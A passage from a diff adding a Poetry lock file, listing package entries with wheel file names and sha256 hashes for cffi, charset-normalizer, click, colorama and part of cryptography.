+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"},
+ {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"},
+ {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"},
+ {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"},
+ {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"},
+ {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"},
+ {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"},
+ {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"},
+ {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"},
+ {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"},
+ {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"},
+ {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"},
+ {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"},
+ {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"},
+ {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"},
+ {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"},
+ {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"},
+]
+
+[package.dependencies]
+pycparser = "*"
+
+[[package]]
+name = "charset-normalizer"
+version = "3.2.0"
+description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"},
+ {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"},
+]
+
+[[package]]
+name = "click"
+version = "8.1.4"
+description = "Composable command line interface toolkit"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "click-8.1.4-py3-none-any.whl", hash = "sha256:2739815aaa5d2c986a88f1e9230c55e17f0caad3d958a5e13ad0797c166db9e3"},
+ {file = "click-8.1.4.tar.gz", hash = "sha256:b97d0c74955da062a7d4ef92fadb583806a585b2ea81958a81bd72726cbb8e37"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+description = "Cross-platform colored terminal text."
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
+files = [
+ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
+ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
+]
+
+[[package]]
+name = "cryptography"
+version = "41.0.1"
+description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "cryptography-41.0.1-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:f73bff05db2a3e5974a6fd248af2566134d8981fd7ab012e5dd4ddb1d9a70699"},
+ {file = "cryptography-41.0.1-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:1a5472d40c8f8e91ff7a3d8ac6dfa363d8e3138b961529c996f3e2df0c7a411a"},
+ {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fa01527046ca5facdf973eef2535a27fec4cb651e4daec4d043ef63f6ecd4ca"},
+ {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b46e37db3cc267b4dea1f56da7346c9727e1209aa98487179ee8ebed09d21e43"},
+ {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d198820aba55660b4d74f7b5fd1f17db3aa5eb3e6893b0a41b75e84e4f9e0e4b"},
+ {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:948224d76c4b6457349d47c0c98657557f429b4e93057cf5a2f71d603e2fc3a3"},
+ {file = "cryptography-41.0.1-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:059e348f9a3c1950937e1b5d7ba1f8e968508ab181e75fc32b879452f08356db"},
+ {file = "cryptography-41.0.1-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:b4ceb5324b998ce2003bc17d519080b4ec8d5b7b70794cbd2836101406a9be31"},
+ {file = "cryptography-41.0.1-cp37-abi3-win32.whl", hash = "sha256:8f4ab7021127a9b4323537300a2acfb450124b2def3756f64dc3a3d2160ee4b5"},
+ {file = "cryptography-41.0.1-cp37-abi3-win_amd64.whl", hash = "sha256:1fee5aacc7367487b4e22484d3c7e547992ed726d14864ee33c0176ae43b0d7c"},
+ {file = "cryptography-41.0.1-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:9a6c7a3c87d595608a39980ebaa04d5a37f94024c9f24eb7d10262b92f739ddb"},
